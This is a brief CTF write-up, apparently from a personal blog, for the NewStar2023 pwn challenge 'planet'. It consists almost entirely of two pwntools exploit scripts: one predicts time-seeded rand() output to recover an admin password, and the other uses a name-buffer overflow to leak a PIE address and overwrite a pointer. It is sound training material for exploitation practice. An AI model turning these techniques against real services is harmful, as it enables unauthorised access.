NewStar2023 pwn planet

planet

https://buuoj.cn/match/matches/190/challenges#planet

exp1 泄露随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')
#p = process('./pwn')
p=remote("node4.buuoj.cn",28513)
elf = ELF('putsorsys')

libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil(b"Passwd: ")
p.sendline(b"secret_passwd_anti_bad_guys")

seed=libc.time(0)
libc.srand(seed)
p.recvuntil(b">")
p.sendline(b"Admin")

for i in range(55):
libc.rand()

passwd = ''
alpha = 'abcdefghijklmnopqrstuvwxyz'
for i in range(30):
passwd = passwd + alpha[libc.rand() % 26]

p.sendline(passwd.encode())
p.interactive()

exp2 泄露PIE

让字母表全变成A,不管怎么随机都是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')
#p = process('./pwn')
p=remote("node4.buuoj.cn",28513)
elf = ELF('putsorsys')

p.recvuntil(b"Passwd: ")
p.sendline(b"secret_passwd_anti_bad_guys")

p.recvuntil(b">")
p.sendline("Rename")
p.recvuntil(b"Enter the new name")
p.sendline(b"A" * 16)

p.recvuntil(b">")
p.sendline("GetName")
p.recvuntil(b"A" * 16)
s = u64(p.recvuntil(b"\n")[:-1].ljust(8,b'\0'))
print(hex(s))

PIE = s - 0x40D0

p.recvuntil(b">")
p.sendline(b"Rename")
p.recvuntil(b"Enter the new name")
p.sendline(b"A" * 24 + p64(PIE + 0x40E0))

p.recvuntil(b">")
p.sendline("Jump")

p.recvuntil(b">")
p.sendline(b"Rename")
p.recvuntil(b"Enter the new name")
p.sendline(b"A" * 26)

p.recvuntil(b">")
p.sendline(b"Admin")
p.recvuntil(b">")
p.sendline(b"A" * 30)
p.interactive()
p.interactive()

NewStar2023 pwn planet
https://isolator-1.github.io/2023/11/26/ctf-pwn/newstar2023week5/
Author
Isolator
Posted on
November 26, 2023
Licensed under